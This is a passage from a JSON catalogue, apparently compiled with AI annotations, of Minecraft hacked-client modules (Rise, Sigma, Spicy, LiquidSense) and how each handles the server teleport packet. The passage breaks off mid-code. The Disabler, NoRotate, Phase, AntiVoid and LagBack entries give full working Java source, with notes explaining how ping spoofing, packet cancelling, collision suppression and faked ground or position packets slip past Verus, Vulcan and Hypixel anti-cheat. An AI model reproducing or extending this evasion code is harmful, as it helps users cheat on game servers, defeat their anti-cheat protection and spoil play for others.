      "variations": "Nekoware v1 ships the identical Speed.java with the same Flag Check. Rise 5.99 adds the disableOnFlag setting that toggles the module off with a notification on any S08. LiquidSense Dev's Speed lagback check rewrites S08 yaw and pitch to the client's current rotation, zeroes motionX and motionZ and opens a stop-tick window; BufferSpeed cancels or handles S08 at its line 224."
     },
     {
      "name": "Disabler",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0"
      ],
      "purpose": "Use S08 as the trigger to re-arm spoofing windows, strip rotations, or nudge the teleport position to break server-side state checks.",
      "how_it_works": "Rise 6.x VerusCustomDisabler sets disable = -20 on every S08 and re-arms PingSpoofComponent.spoof only after the position history is clean, holding C00 and C0F for 9 seconds. Memeware Disabler in Sloth mode adds 1.0E-4 to the S08 y to trip a spigot PlayerData nulling bug. Sigma Disabler rewrites S08 yaw and pitch and toggles itself off after the Hypixel watchdog window.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/exploit/disabler/VerusCustomDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostStrafeEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\npublic class VerusCustomDisabler extends Mode<Disabler> {\n\n    private final BooleanValue movementDisabler = new BooleanValue(\"Movement\", this, false);\n    private final BooleanValue sprintDisabler = new BooleanValue(\"Sprint\", this, false);\n\n    private Flight flight = null;\n    private Speed speed = null;\n    private int disable;\n\n    public VerusCustomDisabler(String name, Disabler parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (sprintDisabler.getValue() && MoveUtil.isMoving() && mc.thePlayer.ticksExisted > 50) {\n           if (mc.thePlayer.ticksExisted % 5 == 0) {\n               if (mc.thePlayer.ticksExisted % 10 == 0) {\n                   PacketUtil.sendNoEvent(new C0BPacketEntityAction(mc.thePlayer,\n                           C0BPacketEntityAction.Action.START_SPRINTING));\n               } else {\n                   PacketUtil.sendNoEvent(new C0BPacketEntityAction(mc.thePlayer,\n                           C0BPacketEntityAction.Action.STOP_SPRINTING));\n               }\n           }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S08PacketPlayerPosLook) {\n            S08PacketPlayerPosLook posLook = ((S08PacketPlayerPosLook) packet);\n\n            disable = -20;\n        }\n\n    };\n\n    @EventLink\n    public final Listener<PostStrafeEvent> onPostStrafeEvent = event -> {\n        if (movementDisabler.getValue()) {\n            int time = 9;\n\n            disable++;\n\n            if (mc.thePlayer.ticksExisted > time * 20 && disable > 0) {\n                PingSpoofComponent.spoof(time * 1000, true, false, true, false);\n            }\n\n            if (mc.thePlayer.ticksSincePlayerVelocity > 20 * (time) || disable <= 0 || mc.thePlayer.ticksExisted <= time * 2 * 20) {\n                if (speed == null) {\n                    speed = getModule(Speed.class);\n                }\n\n                if (speed.isEnabled()) {\n                    speed.toggle();\n                    MoveUtil.stop();\n                    NotificationComponent.post(\"Auto Toggle\", \"Automatically disabled Speed to prevent flags\", 1000);\n                }\n            }\n\n            if (mc.thePlayer.ticksSincePlayerVelocity > 20 * (time / 2) || disable <= 0 || mc.thePlayer.ticksExisted <= time * 2 * 20) {\n                if (flight == null) {\n                    flight = getModule(Flight.class);\n                }\n\n                if (flight.isEnabled()) {\n                    flight.toggle();\n                    NotificationComponent.post(\"Auto Toggle\", \"Automatically disabled Flight to prevent flags\", 1000);\n                }\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (sprintDisabler.getValue() && packet instanceof C0BPacketEntityAction) {\n            C0BPacketEntityAction c0b = ((C0BPacketEntityAction) packet);\n\n            if (c0b.getAction() == C0BPacketEntityAction.Action.START_SPRINTING ||\n                    c0b.getAction() == C0BPacketEntityAction.Action.STOP_SPRINTING) {\n                event.setCancelled();\n            }\n        }\n    };\n\n}\n// NOTE (AI): S08 is the re-arm trigger: every teleport sets disable = -20, which suppresses the PingSpoofComponent re-arm for 20 post-strafe events. The disabler only starts spoofing once the position history is clean (disable > 0 and ticksSincePlayerVelocity past 9 seconds), then holds C00/C0F for 9 seconds so Verus sees a frozen position window. The movement disabler auto-toggles Speed and Flight if the server keeps applying velocity, which is the S08-means-flag family pattern seen in Memeware Speed and Tenacity. The sprint disabler cancels C0B sprint toggles and re-emits them on a 5-tick cycle via PacketUtil.sendNoEvent, bypassing the event bus.",
      "code_source": "Rise 6.1.30 - com/alan/clients/module/impl/exploit/disabler/VerusCustomDisabler.java",
      "vanilla_hook": "PacketReceiveEvent; re-arm via PingSpoofComponent.spoof from PostStrafeEvent.",
      "anti_cheat_notes": "Correlating the spoof window to S08 arrivals keeps the buffered packet stream aligned with the server's position state, which is what makes the frozen-window pattern hard to distinguish from genuine lag.",
      "variations": "Memeware 7.3 Sloth mode mutates the y by 1.0E-4 (spigot PlayerData exploit); Sigma 4.11 rewrites rotations and auto-disables after the Hypixel watchdog window; Rise 6.2.4 adds WatchdogDisabler alongside VerusCustomDisabler; Tenacity 6.0 keeps only commented S08 code in AdvancedDisablerModule, and Spicy and Nekoware reference S08 as imports without handling it."
     },
     {
      "name": "NoRotate",
      "found_in": [
       "Rise 5.99",
       "Sigma 4.11"
      ],
      "purpose": "Prevent servers from forcing the player's rotation: overwrite the S08 yaw and pitch with the client's current values before the vanilla handler applies them.",
      "how_it_works": "Rise 5.99 NoRot stores the server rotation and overwrites the packet fields per mode: Vanilla replaces both fields, Delay replays the saved rotation on the next PreMotion, Legit applies it only if the mouse has not moved since. Sigma 4.11 NoRotate does the same unconditionally on incoming S08.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/NoRot.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\n@ModuleInfo(name = \"NoRot\", description = \"Prevents servers from modifying your rotation\", category = Category.OTHER)\npublic final class NoRot extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Vanilla\", \"Vanilla\", \"Packet\", \"Delay\", \"Legit\", \"Edit\", \"Hypixel\");\n    private Float yaw, pitch;\n    private Float startingYaw, startingPitch;\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S08PacketPlayerPosLook) {\n            final S08PacketPlayerPosLook teleport = (S08PacketPlayerPosLook) packet;\n\n            switch (mode.getMode()) {\n                case \"Vanilla\":\n                    yaw = teleport.yaw;\n                    pitch = teleport.pitch;\n\n                    teleport.yaw = mc.thePlayer.rotationYaw;\n                    teleport.pitch = mc.thePlayer.rotationPitch;\n                    break;\n\n                case \"Delay\":\n                    yaw = mc.thePlayer.rotationYaw;\n                    pitch = mc.thePlayer.rotationPitch;\n                    break;\n\n                case \"Legit\":\n                    yaw = teleport.getYaw();\n                    pitch = teleport.getPitch();\n                    startingYaw = mc.thePlayer.rotationYaw;\n                    startingPitch = mc.thePlayer.rotationPitch;\n\n                    teleport.yaw = mc.thePlayer.rotationYaw;\n                    teleport.pitch = mc.thePlayer.rotationPitch;\n                    break;\n            }\n        }\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        switch (mode.getMode()) {\n            case \"Delay\":\n                if (yaw != null && pitch != null) {\n                    mc.thePlayer.rotationYaw = yaw;\n                    mc.thePlayer.rotationPitch = pitch;\n\n                    yaw = null;\n                    pitch = null;\n                }\n                break;\n\n            case \"Legit\":\n                if (yaw != null && pitch != null && startingYaw != null && startingPitch != null) {\n                    if (startingYaw == event.getYaw() && startingPitch == event.getPitch()) {\n                        event.setYaw(yaw);\n                        event.setPitch(pitch);\n                    } else {\n                        startingPitch = startingYaw = yaw = pitch = null;\n                    }\n                }\n                break;\n        }\n    }\n}\n// NOTE (AI): Pure rotation strip. The S08 yaw and pitch are overwritten with the client's current rotation before the vanilla handler applies them, so the server's forced rotation never lands. The Vanilla mode stores the server rotation and replays it on the next PreMotion; Delay mode defers it explicitly; Legit mode only applies the stored rotation if the mouse has not moved since. Keeping the real server yaw and pitch lets ClickTP, Freecam and aim modules keep working off true values. Sigma 4.11's NoRotate is the same idea with one unconditional mode: yaw and pitch are replaced with the client's, no restore path.",
      "code_source": "Rise 5.99 - dev/rise/module/impl/other/NoRot.java",
      "vanilla_hook": "PacketReceiveEvent (S08), PreMotionEvent (rotation replay).",
      "anti_cheat_notes": "The confirm echoes the rewritten rotation, so the server records the client's real aim; servers that enforce rotation on teleport (some kit servers) will loop teleports, which is why the Legit mode exists.",
      "variations": "Rise 5.99 Freelook also rewrites S08 rotations in its camera handling; Sigma 4.11 has no restore path and no mode switch."
     },
     {
      "name": "Phase / Blink",
      "found_in": [
       "Sigma 4.11",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Spicy",
       "November Recode 2.0"
      ],
      "purpose": "Suppress the block push and track teleport pressure: S08 packets are counted as the server's attempt to eject the player from a block.",
      "how_it_works": "Rise 6.x VulcanPhase increments teleportCount on every S08 and stands its state machine down after four, letting blocks push the player out; it also cancels PushOutOfBlockEvent and fakes onGround = false while inside a block. Sigma Phase and Blink handle S08 on their packet bus to mask teleports during blink windows.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/movement/phase/VulcanPhase.java =====\npackage com.alan.clients.module.impl.movement.phase;\n\nimport com.alan.clients.component.impl.render.SmoothCameraComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PushOutOfBlockEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.other.BlockAABBEvent;\nimport com.alan.clients.event.impl.other.TickEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.movement.Phase;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.player.SlotUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.AxisAlignedBB;\n\npublic class VulcanPhase extends Mode<Phase> {\n\n    private boolean teleport = false;\n\n    private boolean speed2 = false;\n    private boolean enable = true;\n    private int teleportCount = 0;\n    private int timer1 = 0;\n    private int tickCounter = 0;\n    private boolean lastRightClick = false;\n    private boolean done = true;\n    private boolean flag = true;\n\n    public VulcanPhase(String name, Phase parent) {\n        super(name, parent);\n    }\n    @Override\n    public void onEnable() {\n        speed2 = false;\n        done = true;\n        flag = true;\n        timer1 = 0;\n        teleportCount = 0;\n        teleport = false;\n       enable = true;\n       if( mc.thePlayer.onGround ){\n            mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ);\n            MoveUtil.stop();\n        } else{\n           ChatUtil.display(\"You must me on the ground to do this\");\n           getModule(Phase.class).toggle();\n       }\n\n    }\n\n    @Override\n    public void onDisable() {\n        speed2 = false;\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotion = event -> {\n        mc.thePlayer.cameraYaw = 0.1F;\nif( timer1 > 25) {\n\n    if(PlayerUtil.insideBlock()) {\nif(mc.thePlayer.motionY>0){\n\n}\n\n        mc.thePlayer.onGround = false;\n\n        }\n\n\n}\n\n        if(PlayerUtil.insideBlock()){\n            timer1++;\n        }\n\n\n        if(done && timer1<25) {\n\n            SmoothCameraComponent.setY();\n\n        } else if(flag){\n\n        }\n\nif((PlayerUtil.insideBlock() && !enable && flag)){\n    flag = false;\n    ChatUtil.display(\"Phased\");\n\n        }\n\n        if((PlayerUtil.insideBlock() && !enable)){\n\n        }\n\n    };\n\n    @EventLink\n    public final Listener<BlockAABBEvent> onBlockAABB = event -> {\n        if (PlayerUtil.insideBlock()) {\n\n\n            event.setBoundingBox(null);\n\n            // Sets The Bounding Box To The Players Y Position.\n            if (!(event.getBlock() instanceof BlockAir) && !mc.gameSettings.keyBindSneak.isKeyDown()) {\n                final double x = event.getBlockPos().getX(), y = event.getBlockPos().getY(), z = event.getBlockPos().getZ();\n\n                if (y < mc.thePlayer.posY) {\n                    event.setBoundingBox(AxisAlignedBB.fromBounds(-15, -1, -15, 15, 1, 15).offset(x, y, z));\n                }\n            }\n        } else if (!teleport){\n\n\n            if (event.getBlock() instanceof BlockAir && !mc.thePlayer.isSneaking()) {\n                final double x = event.getBlockPos().getX(), y = event.getBlockPos().getY(), z = event.getBlockPos().getZ();\n\n                if (y < mc.thePlayer.posY) {\n                    event.setBoundingBox(AxisAlignedBB.fromBounds(-15, -1, -15, 15, 1, 15).offset(x, y, z));\n                }\n            }\n        }\n\n        else if (teleport && !PlayerUtil.insideBlock()){\n            ChatUtil.display(\"Disabled due to not being in a block\");\n            getModule(Phase.class).toggle();\n\n        }\n    };\n\n    @EventLink\n    public final Listener<TickEvent> onTick = event -> {\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        int blockSlot = SlotUtil.findBlock();\n\n        if(mc.gameSettings.keyBindJump.isKeyDown() && mc.thePlayer.hurtTime>0){\n            mc.thePlayer.motionY=.99;\n        } else if (mc.gameSettings.keyBindSneak.isKeyDown()){\n            mc.thePlayer.motionY=-.4;\n        } else if (!mc.gameSettings.keyBindJump.isKeyDown() && PlayerUtil.insideBlock() &&  timer1 > 25){\n\n            mc.thePlayer.motionY=0;\n\n        }\n        if(PlayerUtil.insideBlock()) {\n\n            if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) {\n                event.setSpeed(((.0765*(1+(mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier()))) +.306));\n            } else {\n                event.setSpeed(.306);\n            }\n\n        }\n\n        if (mc.thePlayer.onGround && enable && teleport){\n\nmc.thePlayer.jump();\n            teleport = false;\n            enable = false;\n\n        }\n        if (mc.thePlayer.onGround && !teleport &&!enable) {\n\n            if (mc.thePlayer.ticksExisted % 2 == 1|| !(mc.thePlayer.moveForward ==0 )) {\n\n                event.setForward(1);\n            } else {\n                MoveUtil.strafe(0);\n                event.setForward(-1);\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S08PacketPlayerPosLook) {\n            teleport = true;\n            teleportCount++;\n\n        }\n\n        if (teleportCount > 4) {\n\n            done = false;\n\n        } else{\n            done = true;\n        }\n\n    };\n\n    @EventLink\n    public final Listener<PushOutOfBlockEvent> onPushOutOfBlock = event -> {\n        event.setCancelled();\n    };\n\n}\n// NOTE (AI): Teleport-counting phase. Every S08 increments teleportCount and raises the teleport flag; after 4 teleports the module drops done to false so BlockAABBEvent stops suppressing collisions and the server can push the player out. The S08 stream is the signal that Vulcan detected the phase and is forcing the player out; the module uses the count to wind down its own state machine instead of fighting the teleport directly. PreMotion also fakes onGround = false while inside a block so the server's ground state cannot snap the player, and PushOutOfBlockEvent is cancelled outright.",
      "code_source": "Rise 6.1.30 - com/alan/clients/module/impl/movement/phase/VulcanPhase.java",
      "vanilla_hook": "PacketReceiveEvent; BlockAABBEvent and PushOutOfBlockEvent for the collision side.",
      "anti_cheat_notes": "Fighting the eject teleport directly is a permanent-flag loop; counting teleports and self-disabling after a threshold is the pattern that survives because the server eventually succeeds and the module is already off.",
      "variations": "Sigma 4.11 Phase and Blink read S08 on EventPacket; Spicy Phase imports S08 without handling it in the shipped build. November Recode 2.0's PhaseModule in CAGE_PHASE mode resets its setback timer on every S08 and refuses to phase until 20 ticks pass without one; it also cancels outgoing packets while the cage window is open and flushes them on disable."
     },
     {
      "name": "AntiVoid",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Spicy"
      ],
      "purpose": "Use the S08 teleport as the rescue signal: when the server lag-backs the falling player, reset fallDistance so the server's own teleport becomes the save.",
      "how_it_works": "Spicy AntiVoid in Hypixel mode hooks EventPacket: on S08 while off ground, past fallDistance 20 (or below y = 0) and over void, it zeroes fallDistance. The EventUpdate path then bounces once per fall with a C03 onGround and a C04 at posY + 12. Rise VulcanAntiVoid clears its noBlock flag on S08 to re-arm the jump suppression.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/AntiVoid.java =====\npackage info.spicyclient.modules.player;\n\nimport java.util.Random;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventChatmessage;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.notifications.Color;\nimport info.spicyclient.notifications.NotificationManager;\nimport info.spicyclient.notifications.Type;\nimport info.spicyclient.settings.BooleanSetting;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.NumberSetting;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MathHelper;\n\npublic class AntiVoid extends Module {\n\t\n\tpublic BooleanSetting jumpFirst = new BooleanSetting(\"Jump first\", false);\n\tprivate ModeSetting mode = new ModeSetting(\"Mode\", \"Hypixel\", \"Hypixel\");\n\t\n\tpublic AntiVoid() {\n\t\tsuper(\"Anti Void\", Keyboard.KEY_NONE, Category.PLAYER);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(mode, jumpFirst);\n\t}\n\t\n\tpublic void onEnable() {\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic static boolean bounced = false;\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventPacket) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tboolean isOverVoid = true;\n\t\t\t\tBlockPos block = mc.thePlayer.getPosition();\n\t\t\t\t\n\t\t\t\tfor (int i = (int) mc.thePlayer.posY; i > 0; i--) {\n\t\t\t\t\t\n\t\t\t\t\tif (isOverVoid) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (!(mc.theWorld.getBlockState(block).getBlock() instanceof BlockAir)) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tisOverVoid = false;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tblock = block.add(0, -1, 0);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\tif (mode.is(\"Hypixel\") && ((EventPacket) e).packet instanceof S08PacketPlayerPosLook && !MovementUtils.isOnGround(0.001) && (mc.thePlayer.fallDistance >= 20.0f || mc.thePlayer.posY < 0) && isOverVoid) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tmc.thePlayer.fallDistance = 0;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t} catch (NullPointerException e2) {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventUpdate) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tif (mode.is(\"Hypixel\") && !SpicyClient.config.fly.isEnabled()) {\n\t\t\t\t\t\n\t\t\t\t\tthis.additionalInformation = \"Hypixel\";\n\t\t\t\t\t\n\t\t\t\t\tboolean isOverVoid = true;\n\t\t\t\t\tBlockPos block = mc.thePlayer.getPosition();\n\t\t\t\t\t\n\t\t\t\t\tfor (int i = (int) mc.thePlayer.posY; i > 0; i--) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (isOverVoid) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (!(mc.theWorld.getBlockState(block).getBlock() instanceof BlockAir)) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tisOverVoid = false;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tblock = block.add(0, -1, 0);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t        if (!MovementUtils.isOnGround(0.001) && (mc.thePlayer.fallDistance >= 20.0f || mc.thePlayer.posY < 0) && isOverVoid) {\n\t\t\t        \t\n\t\t\t        \tif (!bounced) {\n\t\t\t        \t\tbounced = true;\n\t\t\t        \t\t\n\t\t\t        \t\tif (jumpFirst.isEnabled()) {\n\t\t\t\t        \t\tmc.thePlayer.motionY = 0.2d*11d;\n\t\t\t\t        \t\tmc.thePlayer.fallDistance = 4;\n\t\t\t\t        \t\tmc.thePlayer.onGround = false;\n\t\t\t\t        \t\t//Command.sendPrivateChatMessage(mc.thePlayer.motionY);\n\t\t\t        \t\t}\n\t\t\t        \t\t\n\t\t\t        \t}else {\n\t\t\t        \t\t\n\t\t\t        \t\tRandom r = new Random();\n\t\t\t\t        \t\n\t\t\t\t        \tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer(true));\n\t\t\t\t        \t//mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 3, mc.thePlayer.posZ, false));\n\t\t\t\t        \tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 12, mc.thePlayer.posZ, false));\n\t\t\t\t        \t//mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 6, mc.thePlayer.posZ);\n\t\t\t\t        \tmc.thePlayer.fallDistance = -1;\n\t\t\t\t        \tNotificationManager.getNotificationManager().createNotification(\"Antivoid saved you\", \"\", true, 2000, Type.INFO, Color.BLUE);\n\t\t\t\t        \t//mc.thePlayer.motionY = 1;\n\t\t\t\t            //float f = mc.thePlayer.rotationYaw * 0.017453292F;\n\t\t\t\t            //mc.thePlayer.motionX -= (double)(MathHelper.sin(f) * 0.035f);\n\t\t\t\t            //c.thePlayer.motionZ += (double)(MathHelper.cos(f) * 0.035f);\n\t\t\t        \t\t\n\t\t\t        \t}\n\t\t\t        \t\n\t\t\t        }else if (!isOverVoid && mc.thePlayer.fallDistance <= 2) {\n\t\t\t        \tbounced = false;\n\t\t\t        }\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n// NOTE (AI): Hypixel anti-void. When an S08 teleport arrives while the player is off ground, past fallDistance 20 (or below y = 0) and over void, the module resets fallDistance. The trick is that the server only teleports after the fall is confirmed, so zeroing fallDistance on the teleport turns the server's own lag-back into the rescue. The EventUpdate path does the actual bounce (C03 onGround followed by C04 at posY + 12) once per fall via the bounced flag; the S08 hook by itself only eats the flag. A NullPointerException guard wraps the packet read, which is typical of this client's defensive style.",
      "code_source": "Spicy - info/spicyclient/modules/player/AntiVoid.java",
      "vanilla_hook": "EventPacket (pre, incoming); EventUpdate for the bounce.",
      "anti_cheat_notes": "Zeroing fallDistance on the teleport is invisible to the anti-cheat because the packet is not mutated and nothing extra is sent; the module rides the server's own lag-back. Over-triggering is guarded by the isOverVoid ray scan and the bounced flag.",
      "variations": "Rise 6.1.30 and 6.2.4 VulcanAntiVoid use S08 only to re-arm the noBlock state that suppresses the jump motion while over void."
     },
     {
      "name": "LagBack",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Auto-disable movement modules when the server rubberbands, so a flagged boost quits before the anti-cheat accumulates a ban.",
      "how_it_works": "On S08, gated by a 2000 ms delay, check whether Speed, LongJump, Fly, Flight or Step is toggled and the player is pressing a movement key; toggle the offending module off and print a colored chat notice per module.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/LagBack.java =====\npackage me.AquaVit.liquidSense.modules.misc;\n\nimport me.AquaVit.liquidSense.modules.movement.Flight;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.LongJump;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Speed;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Step;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.ChatComponentText;\n\n\n@ModuleInfo(name = \"LagBack\", description = \"LagBack\", category = ModuleCategory.MISC)\npublic class LagBack extends Module {\n\n    public final BoolValue speedlag = new BoolValue(\"Speed\", true);\n    public final BoolValue longjumplag = new BoolValue(\"LongJump\", true);\n    public final BoolValue flylag = new BoolValue(\"Fly\", true);\n    public final BoolValue steplag = new BoolValue(\"Step\", true);\n    private TimeUtils deactivationDelay = new TimeUtils();\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        Speed speed = (Speed) LiquidBounce.moduleManager.getModule(Speed.class);\n        LongJump longjump = (LongJump) LiquidBounce.moduleManager.getModule(LongJump.class);\n        Fly fly = (Fly) LiquidBounce.moduleManager.getModule(Fly.class);\n        Flight flight = (Flight) LiquidBounce.moduleManager.getModule(Flight.class);\n        Step step = (Step) LiquidBounce.moduleManager.getModule(Step.class);\n\n        if (event.getPacket() instanceof S08PacketPlayerPosLook && this.deactivationDelay.delay(2000F)) {\n            if (speedlag.get()) {\n                if (speed.getState()) {\n                    if(mc.gameSettings.keyBindForward.isKeyDown() || mc.gameSettings.keyBindBack.isKeyDown() || mc.gameSettings.keyBindLeft.isKeyDown() || mc.gameSettings.keyBindRight.isKeyDown()){\n                        LiquidBounce.moduleManager.getModule(Speed.class).setState(false);\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" +LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"SpeedLagBack\"));\n                    }\n                }\n            }\n            if (longjumplag.get()) {\n                if (longjump.getState() && mc.thePlayer.motionX == 0 && mc.thePlayer.motionZ == 0) {\n                    if(mc.gameSettings.keyBindForward.isKeyDown() || mc.gameSettings.keyBindBack.isKeyDown() || mc.gameSettings.keyBindLeft.isKeyDown() || mc.gameSettings.keyBindRight.isKeyDown()){\n                        LiquidBounce.moduleManager.getModule(LongJump.class).setState(false);\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" +LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"LongJumpLagBack\"));\n                    }\n                }\n            }\n            if(flylag.get()){\n                if(fly.getState() || flight.getState()) {\n                    if (mc.gameSettings.keyBindForward.isKeyDown() || mc.gameSettings.keyBindBack.isKeyDown() || mc.gameSettings.keyBindLeft.isKeyDown() || mc.gameSettings.keyBindRight.isKeyDown()) {\n                        LiquidBounce.moduleManager.getModule(Fly.class).setState(false);\n                        LiquidBounce.moduleManager.getModule(Flight.class).setState(false);\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" +LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"FlyLagBack\"));\n                    }\n                }\n            }\n            if (steplag.get()) {\n                if (step.getState() && mc.thePlayer.motionX == 0 && mc.thePlayer.motionZ == 0) {\n                    